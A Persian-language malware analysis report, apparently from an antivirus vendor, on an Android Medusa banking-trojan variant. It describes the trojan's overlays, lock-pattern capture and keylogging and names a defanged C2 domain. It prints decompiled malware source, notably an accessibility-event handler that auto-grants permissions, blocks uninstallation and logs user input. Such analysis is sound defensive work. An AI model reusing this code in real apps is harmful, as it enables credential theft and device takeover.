شرح کلی
نوع: تروجان (Trojan)
درجه تخریب: متوسط
میزان شیوع: متوسط
اسامی بدافزار
- (Padvish) Trojan.Android.Medusa.V3
- (Kaspersky) HEUR:Trojan-Dropper.AndroidOS.Hqwar.hs
- (Avira) ANDROID/Bankbot.FSJP.Gen
- (ESET) A Variant Of Android/TrojanDropper.Agent.MES
تروجان چیست؟
تروجانها نوعی از بدافزارها محسوب میشوند که خود را در قالب نرمافزاری سالم و قانونی نشان میدهند و بسیار شبیه نرمافزارهای مفید و کاربردی رفتار میکنند. اما هنگامی که اجرا میشوند، خرابیهای زیادی را برای سیستم ایجاد میکنند. از جمله راههای ورود تروجانها به سیستم: نرمافزارهای دانلود شده از اینترنت، جاساز شدن در متن HTML، ضمیمه شدن به یک ایمیل و … هستند. تروجانها برخلاف ویروسها و کرمهای کامپیوتری قادر به تکثیر خود نیستند.
خانواده بدافزاری Medusa چیست؟
Medusa یک خانواده بدافزاری پیچیده با قابلیتهای RAT است که اولین بار در سال 2020 کشف شد. از ویژگیهای آن میتوان به keylogger بودن، ضبط عملیات صفحه نمایش کاربر، توانایی خواندن و نوشتن پیامک، انجام سناریوهای تقلب مانند ATS (Automated Transfer system) ،ATO (Account Takover) و غیره اشاره کرد. Medusa با بهرهبرداری از Accessibility Services، عملکرد خود را از یک RAT ساده فراتر کرده و میتواند ویژگیهایی مثل حملات پیوسته Key-logging , Dynamicoverlay را به صورت خودکار در گوشی قربانی اجرا کند.
نسخههای جدیدتر Medusa با حجم کم و قابلیتهای پیشرفتهتر، سرعت انتشار و تأثیرگذاری بیشتری دارند. Medusa برای سرقت اطلاعات حساس از دستگاه کاربر طراحی شده است که شامل اعتبار ورود به برنامههای بانکی، اطلاعات کارت اعتباری و سایر دادههای حساس است.
توضیحات فنی
علائم آلودگی
- درخواست فعالسازی مجوز خطرناک Accessibility
- تغییر تنظیمات سیستم بدون اجازه کاربر
- پنهان شدن آیکن برنامه
- کند شدن عملکرد گوشی
شرح عملکرد
بدافزار برای جلوگیری از تشخیص، مولفههای اصلی خود را در فایل dex اصلی برنامه قرار نمیدهد یا اصطلاحا پک شده است و فایل dex اصلی برنامه در پوشه Asset به نام Dajs.json قرار دارد که بعد از نصب و اجرای بدافزار در مسیر فایلهای بدافزار قرار گرفته و رمزگشایی شده و از طریق کلاس com.fluid.actor.Zwheremachine که در کلاس اپلیکیشن قرار دارد، فراخوانی و سپس اجرا میشود.
🔸 اکتیویتی اصلی MainActivity
بدافزار در این اکتیویتی ابتدا بررسی میکند که آیا برنامه Youtube روی گوشی کاربر وجود دارد و در صورت نصب آن را با استفاده از یک intent راهاندازی میکند. نکته جالب توجه در این اکتیویتی خط کد getWindow().setFlags(1024, 1024) است که بدافزار با این خط کد حالت تمام صفحه را فعال میکند.
حالت تمام صفحه میتواند فعالیتهای مخرب را از کاربران پنهان کند و پوششهای متقاعد کنندهای ایجاد کند که مشابه برنامههای قانونی یا گفتگوهای سیستم به نظر برسد. همچنین حالت تمام صفحه میتواند فرار کاربر از بدافزار یا دسترسی به کنترلهای دستگاه را دشوارتر کند.
بدافزار سپس یک webview را جهت بارگیری فایل html به نام qugivspi.html محلی، راهاندازی میکند که این فایل در واقع همان صفحه اول بدافزار است که پس از اجرای آن برای فعالسازی مجوز Accessibility مشاهده میشود. بعد از مشاهده و فعالسازی این مجوز توسط کاربر بدافزار آیکن خود را در گوشی کاربر پنهان میکند.
🔸 اکتیویتی ServiceSupportActivity
بدافزار بعد از بررسی دوباره اینکه اکتیویتی در یک حالت تمام صفحه به کاربر نمایش داده میشود. این اکتیویتی تنظیمات و مجوزهای خاص بدافزار را بر اساس دستورات ارسال شده از طریق یک intent کنترل میکند. بدافزار یک رشته فرمان از طریق intent بازیابی میکند که این دستور تعیین میکند که اکتیویتی چه عملی را انجام خواهد داد.
اگر برابر دستور “CMD_DISPLAY_OVER_APPS” باشد، بررسی میکند که آیا بدافزار اجازه دارد اولویت نمایش اعلانات خود را روی برنامههای دیگر (متد canDrawOverlays) قرار دهد؟ و در صورتی که این مجوز داده نشده باشد، یک اکتیویتی را برای درخواست این مجوز فراخوانی کرده و سپس اکتیویتی بسته میشود.
اگر برابر دستور “CMD_IGNORE_BATTERY” باشد، بررسی میکند که آیا بدافزار میتواند بهینهسازی باتری را نادیده بگیرد یا خیر و در صورتی که فعال نشده باشد، درخواست مجوز لازم را از کاربر برای نادیده گرفتن بهینهسازی باتری ارسال میکند.
اگر برابر دستور “CMD_ALL_PERMISSION” باشد، بدافزار بررسی میکند آیا تمام مجوزهای زیر اعطا شده است یا خیر و در صورت عدم دریافت این مجوزها، متد requestPermissions برای درخواست آنها فراخوانی میشود.
“android.permission.READ_PHONE_STATE”
“android.permission.CALL_PHONE”
“android.permission.CAMERA”
“android.permission.RECORD_AUDIO”
🔸 اکتیویتی VNCActivity
در این اکتیویتی بدافزار اقدام به تصویربرداری از صفحه کاربر و اشتراکگذاری از آن به صورت زنده میکند. اگر مجوز تصویربرداری از صفحه اعطا شود بدافزار سرویسی با نام (DisplayServiceJava) را راهاندازی میکند که فرآیند ضبط واقعی صفحه یا جریان را انجام میدهد. پارامترهای مختلف (a، b، c، d، e، f) به این سرویس ارسال میشوند که نشان میدهد این سرویس از این مقادیر برای پیکربندی نشست ضبط یا پخش استفاده میکند.
همچنین جزئیات پیکربندی را از intent آغازکننده آن بازیابی میکند. اجازه ضبط از صفحه را درخواست میکند. اگر اجازه داده شود، سرویس DisplayServiceJava را راهاندازی میکند تا ضبط صفحه یا پخش جریانی را انجام دهد و تمام پارامترهای پیکربندی مربوطه را به سرویس منتقل کند.
🔷 سرویس AccessibilityControllerService
در این سرویس بیشتر عملیات مخرب بدافزار انجام میگیرد که در ادامه به شرح هر قسمت آن پرداخته شده است:
▪️ متد d
متد d برای تبدیل یک شی AccessibilityNodeInfo به JSONObject استفاده میشود. کلاس AccessibilityNodeInfo اطلاعاتی در مورد یک view (مولفه UI) در Android ارائه میدهد. این متد ویژگیهای مختلف view را در قالب JSON سریال و پردازش یا انتقال این دادهها را تسهیل میکند. این متد برای نمایش JSON از شی AccessibilityNodeInfo و ویژگیهای آن از جمله کرانهها، متن، توضیحات و گرههای فرزند طراحی شده است.
با گرفتن جزییات AccessibilityNodeInfo بدافزار میتواند به ردیابی تعاملات کاربر با رابط کاربری مانند کلیک روی دکمه، ورودی متن و سایر اقدامات بپردازد. بدافزار میتواند متن و توضیحات محتوا را از رابط کاربری ضبط کند که ممکن است شامل اطلاعات حساسی مانند رمز عبور، شماره کارت بانکی یا پیامهای دو مرحلهای باشد.
public static JSONObject d(AccessibilityNodeInfo accessibilityNodeInfo0, int v) {
JSONObject jSONObject0 = new JSONObject();
if(accessibilityNodeInfo0 == null) {
return jSONObject0;
}
try {
Rect rect0 = new Rect();
accessibilityNodeInfo0.getBoundsInScreen(rect0);
JSONObject jSONObject1 = new JSONObject();
jSONObject1.put(“t”, rect0.top);
jSONObject1.put(“l”, rect0.left);
jSONObject1.put(“b”, rect0.bottom);
jSONObject1.put(“r”, rect0.right);
jSONObject0.put(“bs”, jSONObject1);
if(accessibilityNodeInfo0.getText() != null) {
jSONObject0.put(“t”, accessibilityNodeInfo0.getText());
}
if(accessibilityNodeInfo0.getHintText() != null) {
jSONObject0.put(“ht”, accessibilityNodeInfo0.getHintText());
}
if(accessibilityNodeInfo0.getContentDescription() != null) {
jSONObject0.put(“cd”, accessibilityNodeInfo0.getContentDescription());
}
if(accessibilityNodeInfo0.getViewIdResourceName() != null) {
jSONObject0.put(“r”, accessibilityNodeInfo0.getViewIdResourceName());
}
if(accessibilityNodeInfo0.isCheckable()) {
jSONObject0.put(“ch”, true);
}
if(accessibilityNodeInfo0.isChecked()) {
jSONObject0.put(“che”, true);
}
if(accessibilityNodeInfo0.isFocusable()) {
jSONObject0.put(“fc”, true);
}
if(accessibilityNodeInfo0.isFocused()) {
jSONObject0.put(“fcd”, true);
}
if(accessibilityNodeInfo0.isSelected()) {
jSONObject0.put(“sel”, true);
}
if(accessibilityNodeInfo0.isClickable()) {
jSONObject0.put(“cli”, true);
}
if(accessibilityNodeInfo0.isLongClickable()) {
jSONObject0.put(“lc”, true);
}
if(accessibilityNodeInfo0.isContextClickable()) {
jSONObject0.put(“cc”, true);
}
if(accessibilityNodeInfo0.isEnabled()) {
jSONObject0.put(“en”, true);
}
if(accessibilityNodeInfo0.isPassword()) {
jSONObject0.put(“pass”, true);
}
if(accessibilityNodeInfo0.isScrollable()) {
jSONObject0.put(“scr”, true);
}
if(accessibilityNodeInfo0.isImportantForAccessibility()) {
jSONObject0.put(“ifa”, true);
}
if(accessibilityNodeInfo0.isVisibleToUser()) {
jSONObject0.put(“vis”, true);
}
if(accessibilityNodeInfo0.getChildCount() > 0) {
JSONArray jSONArray0 = new JSONArray();
for(int v1 = 0; v1 < accessibilityNodeInfo0.getChildCount(); ++v1) {
jSONArray0.put(AccessibilityControllerService.d(accessibilityNodeInfo0.getChild(v1), v + 1));
}
jSONObject0.put(“chi”, jSONArray0);
}
}
catch(Exception unused_ex) {
}
return jSONObject0;
}
▪️متد f
متد f برای جستجوی بازگشتی از طریق عناصر UI در گوشی اندروید، با استفاده از قابلیت AccessibilityService، برای یافتن یک رشته متن خاص طراحی شده است. این متد متن مرتبط با AccessibilityNodeInfo فعلی را بازیابی میکند.
اگر متن خالی نباشد، با نادیده گرفتن تفاوتهای حروف کوچک و بزرگ (equalsIgnoreCase) بررسی میکند که آیا با رشته مطابقت دارد یا خیر. همچنین میتواند برای شناسایی عناصر UI خاص با محتوای متنی آنها و یافتن عناصر حساس مانند فیلدهای ورود رمز عبور ، پیامهای خاص، اطلاعات حساب کاربری یا شماره کارت بانکی استفاده شود.
▪️ متد e
بدافزار در این متد یک WebView را در داخل یک FrameLayout ایجاد میکند و آن را با استفاده از WindowManager.LayoutParams روی صفحه قرار میدهد. مقدار 2032 برای WindowManager.LayoutParams (نوع پنجره TYPE_SYSTEM_OVERLAY یا TYPE_APPLICATION_OVERLAY) باعث میشود این WebView بر روی سایر برنامهها ظاهر شود.
در بدافزارها، همپوشانیها اغلب برای فریب کاربران به منظور وارد کردن اطلاعات حساس با تقلید از صفحه نمایش برنامههای قانونی استفاده میشود. این WebView یک URL را بر اساس مقدار f2895f و پارامتر str بارگیری میکند. اگر مقدار f2895f روی یک سرور راه دور مقداردهی شده باشد، این متد میتواند صفحه وب مورد نظر بدافزار را بارگیری کند.
بدافزار میتواند با ایجاد یک پوشش تمام صفحه با WebView و فعالسازی جاوا اسکریپت و دسترسی به فایل، به طور بالقوه هر صفحهای را شبیهسازی کند و کاربر را فریب دهد. همچنین با بارگیری یک URL به صورت پویا با یک رابط جاوا اسکریپت میتواند به برنامه اجازه دهد تا اسکریپتهایی را اجرا کند که جهت فیشینگ و یا جمعآوری دادهها استفاده شوند.
▪️متد c
در این متد بدافزار با استفاده از سرویس دسترسپذیری Android اطلاعات مربوط به عناصر UI، بهویژه عناصر مرتبط با الگوی صفحه قفل را جمعآوری میکند. این متد بررسی میکند که آیا شی accessibilityNodeInfo0 متعلق به پکیج نیم com.android.systemui است یا خیر. این پکیجنِیم معمولاً شامل صفحه قفل، اعلانها و سایر عناصر رابط کاربری اندروید است. بدافزار در این قسمت findAccessibilityNodeInfosByViewId(“com.android.systemui:id/lockPatternView“) هر عنصری را با شناسه lockPatternView بازیابی میکند.
این شناسه مربوط به باز کردن صفحه قفل الگو میباشد. دسترسی به این نما به این معنی است که بدافزار در حال تلاش برای بازیابی اطلاعات صفحه قفل کاربر است. نحوه استخراج اطلاعات از عناصر قفل صفحه بدین صورت است که بدافزار برای هر عنصر فرزند در lockPatternView ابتدا بررسی میکند که آیا عنصر قابل کلیک است؟ سپس با ایجاد یک شی JSON ایجاد (jSONObject) جزئیات مربوط به موقعیت هر عنصر (بالا، چپ، پایین، راست) را ذخیره می کند.
در ادامه سعی در بازیابی متن مربوط به هر عنصر دارد که آن را در متغیر str ذخیره میکند. این دادههای متنی میتواند اطلاعاتی در مورد الگو نشان دهد. در نهایت دادهها در یک آرایه JSON ذخیره شده و به سرور C2 بدافزار ارسال میشوند. به طور کلی بدافزار متد c را به منظور ضبط و انتقال جزئیات نمای الگوی صفحه قفل با استفاده از سرویسهای دسترسپذیری به کار میگیرد.
▪️ متد onAccessibilityEvent
ابتدا بدافزار در این متد بررسی میکند که آیا بدافزار مجوز «draw over other apps» را دارد (Settings.canDrawOverlays). در غیر این صورت سعی میکند با شبیهسازی تعامل کاربر، برای دریافت این مجوز پیمایش کرده و تنظیمات را تغییر دهد. دستکاری تنظیمات همپوشانی میتواند امکان نمایش محتوا را روی برنامههای دیگر برای برنامه فراهم و به طور بالقوه حملات فیشینگ را با نمایش دیالوگها یا دکمههای جعلی فعال کند.
این کد با انجام اقدامات بر روی اشیاء AccessibilityNodeInfo، کلیکهای روی عناصر را شبیهسازی میکند. عناصر UI خاص را با شناسه و متن جستجو میکند. اگر مجوز همپوشانی به دست آید، متدهای a و b را فراخوانی میکند، این دو متد با هدایت کاربر به صفحه اصلی، فعالیت برنامه را پنهان میسازد و از مشاهده تغییرات در تنظیمات یا مشاهده هرگونه رفتار مشکوک جلوگیری میکند.
در ادامه بدافزار به بررسی اینکه آیا فلگ (IGNORE_BATTERY_INSTALL_REQUIRED) در SharedPrefManager تنظیم شده است یا خیر میپردازد. این فلگ احتمالاً نشان میدهد که آیا بدافزار باید بهینهسازی باتری را خاموش کند تا از kill شدن سرویس بدافزار در پسزمینه جلوگیری کند. اگر این فلگ درست باشد، کد اقدام به غیرفعالسازی تنظیمات بهینهسازی باتری برای خود می کند.
در این متد با استفاده از فلگهای VNC_INSTALL_REQUIRED، ACCEPT_UNINSTALL، PERMISSION_INSTALL_REQUIRED و سایر تنظیمات، وضعیت درخواستهای مختلف مجوزها و نصب آنها مورد بررسی قرار میگیرد. با توجه به رویدادهای دریافتی و مقادیر این فلگها، اگر اپلیکیشن خاصی درخواست دسترسی یا مجوز نصب داشته باشد، متد بهصورت خودکار با کلیک روی دکمههای “Allow” یا “Install” به این درخواستها پاسخ میدهد.
بدافزار با فلگ SYSTEM_WRITE_REQUIRED این متد بهطور خودکار وارد صفحه تنظیمات میشود و تنظیمات مشخصی مانند فعال یا غیرفعالسازی قابلیتهایی مثل Write System را انجام میدهد. برای این کار، متد ابتدا اطمینان حاصل میکند که صفحه تنظیمات باز شده، سپس دکمه مربوطه را پیدا و در صورت نیاز آن را فعال یا غیرفعال میکند.
اگر فلگ KEYLOG فعال باشد، متد تغییرات و تعاملات خاصی مانند کلیکها، تغییرات فوکوس و انتخابها را ثبت و ذخیره میکند. (عملکرد keylogging) این اقدامات میتواند شامل ثبت اطلاعات زمانی و محتوای متن قابل مشاهده در رویداد باشد که در نهایت در یک متغیر ذخیره میشود.
در صورت فعال بودن فلگ LOCK_SCREEN، متد بهطور خودکار قفل صفحه را فعال میکند. فلگ BLOCK_APP امکان بلاک یا بستن خودکار اپلیکیشنهای مشخصی را در صورت تشخیص باز شدن آنها فراهم میکند. اگر یکی از اپلیکیشنهای مسدود شده باز شود، متد اقدام به بستن یا اجرای عمل قفل برای جلوگیری از دسترسی کاربر به آن میکند.
فلگ REMOVAL_BLOCK اجازه میدهد تا در صورت باز شدن صفحه حذف نصب یا تنظیمات، اقدامات پیشفرض برای جلوگیری از حذف اپلیکیشنها انجام شود. این کار از طریق شناسایی عناصر مربوطه در صفحه تنظیمات و کلیک روی دکمههای کنسل انجام میشود.
در این متد از findAccessibilityNodeInfosByViewId و findAccessibilityNodeInfosByText برای شناسایی و تعامل با عناصر رابط کاربری استفاده و با توجه به رویدادها و فلگهای تنظیم شده، روی این عناصر اقدامات لازم (مانند کلیک) انجام میشود.
در مجموع، این متد نوعی کنترل خودکار و مدیریت اپلیکیشن و سیستم را فراهم میآورد که میتواند از دستگاههای اندروید به صورت خودکار و بدون دخالت کاربر، برای تنظیمات مختلف، تعامل با دیالوگها و کنترل رفتار اپلیکیشنها استفاده کند.
public final void onAccessibilityEvent(AccessibilityEvent accessibilityEvent0) {
String s6;
a a0;
String s3;
String s2;
String s1;
String s;
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“57fvxkkp9fh2vbbbbngmol52”, false)) {
try {
if((accessibilityEvent0.getPackageName().toString().contains(“com.android.settings”)) && accessibilityEvent0.getEventType() == 0x800) {
if(((int)SharedPrefManager.getInstance(this.getApplicationContext()).read(“vasdx3423452”, 0)) == 0) {
List list0 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id/list”);
if(list0 == null || list0.size() == 0) {
list0 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.settings:id/apps_list”);
}
Iterator iterator0 = list0.iterator();
while(true) {
label_7:
if(!iterator0.hasNext()) {
break;
}
Object object0 = iterator0.next();
AccessibilityNodeInfo accessibilityNodeInfo0 = (AccessibilityNodeInfo)object0;
alab1:
do {
while(true) {
List list1 = this.getRootInActiveWindow().findAccessibilityNodeInfosByText(this.getString(0x7F0F001E));
if(list1 == null || list1.size() <= 0) {
accessibilityNodeInfo0.performAction(0x1000);
break;
}
AccessibilityNodeInfo accessibilityNodeInfo1;
for(accessibilityNodeInfo1 = (AccessibilityNodeInfo)list1.get(0); !accessibilityNodeInfo1.isClickable(); accessibilityNodeInfo1 = accessibilityNodeInfo1.getParent()) {
}
if(!accessibilityNodeInfo1.performAction(16)) {
break;
}
break alab1;
}
}
while(true);
if(!Settings.canDrawOverlays(this.getApplicationContext())) {
SharedPrefManager.getInstance(this.getApplicationContext()).write(“vasdx3423452”, Integer.valueOf(1));
goto label_7;
}
SharedPrefManager.getInstance(this.getApplicationContext()).write(“57fvxkkp9fh2vbbbbngmol52”, false);
this.b();
this.a();
}
}
else if(Settings.canDrawOverlays(this.getApplicationContext())) {
SharedPrefManager.getInstance(this.getApplicationContext()).write(“57fvxkkp9fh2vbbbbngmol52”, false);
this.b();
this.a();
}
else {
Iterator iterator1 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id/switch_widget”).iterator();
while(true) {
label_32:
if(!iterator1.hasNext()) {
break;
}
Object object1 = iterator1.next();
AccessibilityNodeInfo accessibilityNodeInfo2 = (AccessibilityNodeInfo)object1;
if(accessibilityNodeInfo2.isChecked()) {
break;
}
if(!accessibilityNodeInfo2.isClickable()) {
while(!accessibilityNodeInfo2.isClickable()) {
accessibilityNodeInfo2 = accessibilityNodeInfo2.getParent();
}
}
if(!accessibilityNodeInfo2.isClickable()) {
goto label_32;
}
accessibilityNodeInfo2.performAction(16);
SharedPrefManager.getInstance(this.getApplicationContext()).write(“57fvxkkp9fh2vbbbbngmol52”, false);
this.performGlobalAction(2);
}
}
}
}
catch(Exception unused_ex) {
label_45:
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“57fvxkkp9fh22l8bggwngmol52”, false)) {
try {
if(accessibilityEvent0.getPackageName().toString().contains(“com.android.settings”)) {
List list2 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id/button1”);
if(list2 != null && list2.size() > 0) {
AccessibilityNodeInfo accessibilityNodeInfo3 = (AccessibilityNodeInfo)list2.get(0);
if((accessibilityNodeInfo3.isClickable()) && (accessibilityNodeInfo3.performAction(16))) {
SharedPrefManager.getInstance(this.getApplicationContext()).write(“57fvxkkp9fh22l8bggwngmol52”, false);
}
}
}
}
catch(Exception unused_ex) {
}
}
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“1lf7as4w8hd5zaks0mpc”, false)) {
try {
if(accessibilityEvent0.getPackageName() != null) {
if(accessibilityEvent0.getPackageName().toString().equals(“com.google.android.packageinstaller”)) {
List list3 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.packageinstaller:id/permission_allow_button”);
if(list3 != null && list3.size() > 0) {
AccessibilityNodeInfo accessibilityNodeInfo4 = (AccessibilityNodeInfo)list3.get(0);
if(accessibilityNodeInfo4.isClickable()) {
accessibilityNodeInfo4.performAction(16);
}
}
}
boolean z = accessibilityEvent0.getPackageName().toString().equals(“com.google.android.permissioncontroller”);
if(z) {
for(Object object2: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.permissioncontroller:id/permission_allow_button”)) {
((AccessibilityNodeInfo)object2).performAction(16);
}
for(Object object3: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.permissioncontroller:id/permission_allow_foreground_only_button”)) {
((AccessibilityNodeInfo)object3).performAction(16);
}
}
if(accessibilityEvent0.getPackageName().toString().equals(“com.android.permissioncontroller”)) {
for(Object object4: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.permissioncontroller:id/permission_allow_button”)) {
((AccessibilityNodeInfo)object4).performAction(16);
}
for(Object object5: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.permissioncontroller:id/permission_allow_foreground_only_button”)) {
((AccessibilityNodeInfo)object5).performAction(16);
}
}
c.b(this.getApplicationContext());
}
}
catch(Exception unused_ex) {
}
}
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“8y2bj5kjidcmw6t9j09hha0”, false)) {
try {
if(accessibilityEvent0.getPackageName() != null && (accessibilityEvent0.getPackageName().toString().contains(“com.android.settings”))) {
List list4 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id/switch_widget”);
int v = 0;
for(Object object6: list4) {
if(((AccessibilityNodeInfo)object6).isChecked()) {
goto label_116;
}
if(!((AccessibilityNodeInfo)object6).isClickable()) {
continue;
}
v = 1;
}
List list5 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id/title”);
int v1 = 0;
for(Object object7: list5) {
AccessibilityNodeInfo accessibilityNodeInfo5 = (AccessibilityNodeInfo)object7;
if(v == 0) {
for(int v2 = 0; !accessibilityNodeInfo5.isClickable() && v2 < 3; ++v2) {
accessibilityNodeInfo5 = accessibilityNodeInfo5.getParent();
}
if(!accessibilityNodeInfo5.isClickable()) {
continue;
}
accessibilityNodeInfo5.performAction(16);
}
else {
((AccessibilityNodeInfo)list4.get(list5.indexOf(accessibilityNodeInfo5))).performAction(16);
}
v1 = 1;
}
if(v1 != 0) {
SharedPrefManager.getInstance(this.getApplicationContext()).write(“8y2bj5kjidcmw6t9j09hha0”, false);
this.performGlobalAction(2);
}
}
}
catch(Exception unused_ex) {
}
}
label_116:
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“ayxrd2v2qhxjanriycbd1”, false)) {
try {
if(accessibilityEvent0.getPackageName() != null && (accessibilityEvent0.getPackageName().toString().contains(“com.android.systemui”))) {
for(Object object8: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id/button1”)) {
((AccessibilityNodeInfo)object8).performAction(16);
}
}
}
catch(Exception unused_ex) {
}
}
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“bsabdbABSyvfv366262”, false)) {
try {
if(accessibilityEvent0.getPackageName() != null) {
boolean z1 = accessibilityEvent0.getPackageName().toString().contains(“com.google.android.packageinstaller”);
if(z1) {
for(Object object9: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.settings:id/left_button”)) {
((AccessibilityNodeInfo)object9).performAction(16);
SharedPrefManager.getInstance(this.getApplicationContext()).write(“bsabdbABSyvfv366262”, false);
}
for(Object object10: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id/button1”)) {
((AccessibilityNodeInfo)object10).performAction(16);
SharedPrefManager.getInstance(this.getApplicationContext()).write(“bsabdbABSyvfv366262”, false);
}
}
if(accessibilityEvent0.getPackageName().toString().contains(“com.android.packageinstaller”)) {
for(Object object11: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.settings:id/left_button”)) {
((AccessibilityNodeInfo)object11).performAction(16);
SharedPrefManager.getInstance(this.getApplicationContext()).write(“bsabdbABSyvfv366262”, false);
}
for(Object object12: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id/button1”)) {
((AccessibilityNodeInfo)object12).performAction(16);
SharedPrefManager.getInstance(this.getApplicationContext()).write(“bsabdbABSyvfv366262”, false);
}
}
}
}
catch(Exception unused_ex) {
}
}
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“b24z1bcurlu5aq9b6o910g4kv5jvz5srp”, false)) {
try {
CharSequence charSequence0 = accessibilityEvent0.getPackageName();
s = “”;
s1 = charSequence0 == null ? “” : accessibilityEvent0.getPackageName().toString();
s2 = new SimpleDateFormat(“MM/dd/yyyy, HH:mm:ss z”, Locale.US).format(Calendar.getInstance().getTime());
this.c(this.getRootInActiveWindow());
switch(accessibilityEvent0.getEventType()) {
case 1:
case 8:
case 16: {
s3 = accessibilityEvent0.getText().toString();
goto label_169;
}
}
int v3 = accessibilityEvent0.getEventType();
}
catch(Exception unused_ex) {
goto label_188;
}
if(v3 != 0x2000) {
goto label_188;
}
try {
s3 = accessibilityEvent0.getText().toString();
goto label_169;
}
catch(Exception unused_ex) {
}
String s4 = “”;
String s5 = “”;
goto label_173;
try {
label_169:
s = accessibilityEvent0.getSource().getViewIdResourceName();
}
catch(Exception unused_ex) {
}
s4 = s3;
s5 = s;
try {
label_173:
switch(accessibilityEvent0.getEventType()) {
case 1: {
a0 = this.b;
s6 = “click”;
goto label_187;
}
case 8: {
a0 = this.b;
s6 = “focus”;
goto label_187;
}
case 16: {
a0 = this.b;
s6 = “text”;
goto label_187;
}
case 0x2000: {
goto label_184;
}
}
goto label_188;
label_184:
a0 = this.b;
s6 = “selchange”;
label_187:
a0.L(s1, s2, s6, s4, s5);
}
catch(Exception unused_ex) {
}
}
label_188:
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“lru0i1qkn5kdhxhsh9jayki7cddac”, false)) {
this.performGlobalAction(8);
}
if(0x20 == accessibilityEvent0.getEventType()) {
try {
if(accessibilityEvent0.getPackageName() != null) {
Set set0 = SharedPrefManager.getInstance(this.getApplicationContext()).readSet(“z8o563an47kaoxh8wpba”, null);
if(set0 != null && set0.size() != 0) {
for(Object object13: set0) {
if(!((String)object13).equals(accessibilityEvent0.getPackageName().toString() + “|”)) {
continue;
}
this.performGlobalAction(2);
}
}
}
}
catch(Exception unused_ex) {
}
try {
Set set1 = SharedPrefManager.getInstance(this.getApplicationContext()).readSet(“azaasd5xxvn2ex9z”, null);
if(set1 != null && (set1.size() != 0 && accessibilityEvent0.getPackageName() != null)) {
Iterator iterator14 = set1.iterator();
while(true) {
label_204:
if(!iterator14.hasNext()) {
break;
}
Object object14 = iterator14.next();
String s7 = (String)object14;
if(!s7.contains(accessibilityEvent0.getPackageName().toString() + “|”)) {
goto label_204;
}
this.e(s7.split(“\\|”)[1]);
}
}
}
catch(Exception unused_ex) {
label_210:
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“igi67lmk08olwncd”, false)) {
try {
String s8 = accessibilityEvent0.getPackageName().toString().toLowerCase();
String s9 = accessibilityEvent0.getClassName().toString().toLowerCase();
if((!s8.contains(“com.android.settings”) || accessibilityEvent0.getEventType() != 1 || !accessibilityEvent0.getText().toString().contains(this.getString(0x7F0F001E))) && (!s8.contains(“com.android.packageinstaller”) && !s8.contains(“com.google.android.packageinstaller”) || !AccessibilityControllerService.f(accessibilityEvent0.getSource(), 0, this.getString(0x7F0F001E)))) {
if(s8.contains(“com.samsung.accessibility”)) {
this.a();
return;
}
if((s8.contains(“com.android.settings”)) && (s9.contains(“android.app.alertdialog”)) && (accessibilityEvent0.getText().toString().contains(this.getString(0x7F0F001E)))) {
this.b();
this.performGlobalAction(2);
return;
}
if((s8.contains(“com.android.settings”)) || (s8.contains(“com.google.android.packageinstaller”))) {
for(Object object15: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.settings:id/entity_header_title”)) {
if(!((AccessibilityNodeInfo)object15).getText().toString().contains(this.getString(0x7F0F001E))) {
continue;
}
this.performGlobalAction(1);
return;
}
for(Object object16: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.packageinstaller:id/name”)) {
if(!((AccessibilityNodeInfo)object16).getText().toString().contains(this.getString(0x7F0F001E))) {
continue;
}
this.b();
this.a();
return;
}
for(Object object17: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id/alertTitle”)) {
if(!((AccessibilityNodeInfo)object17).getText().toString().contains(this.getString(0x7F0F001E))) {
continue;
}
this.b();
this.a();
return;
}
for(Object object18: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.settings:id/app_name”)) {
if(!((AccessibilityNodeInfo)object18).getText().toString().contains(this.getString(0x7F0F001E))) {
continue;
}
this.b();
this.a();
return;
}
Iterator iterator19 = this.getRootInActiveWindow().findAccessibilityNodeInfosByText(this.getString(0x7F0F001B)).iterator();
if(!iterator19.hasNext()) {
goto label_246;
}
Object object19 = iterator19.next();
AccessibilityNodeInfo accessibilityNodeInfo6 = (AccessibilityNodeInfo)object19;
this.b();
this.a();
return;
}
label_246:
if(!s8.equals(“com.google.android.packageinstaller”) || !s9.equals(“com.android.packageinstaller.permission.ui.managepermissionsactivity”)) {
return;
}
for(Object object20: this.getRootInActiveWindow().findAccessibilityNodeInfosByText(this.getString(0x7F0F001E))) {
if(!((AccessibilityNodeInfo)object20).getText().toString().contains(this.getString(0x7F0F001E))) {
continue;
}
this.b();
this.a();
return;
}
}
else {
this.b();
this.a();
}
}
catch(Exception unused_ex) {
}
}
return;
}
}
goto label_210;
}
}
goto label_45;
}
همچنین آدرس کانالهای پشتیبان در تلگرام و پیامرسان ICQ برای دریافت سرور C2 (cincincintopcin[.]info) بدافزار در متغیر زیر ذخیره شده که در این سرویس فراخوانی شده است:
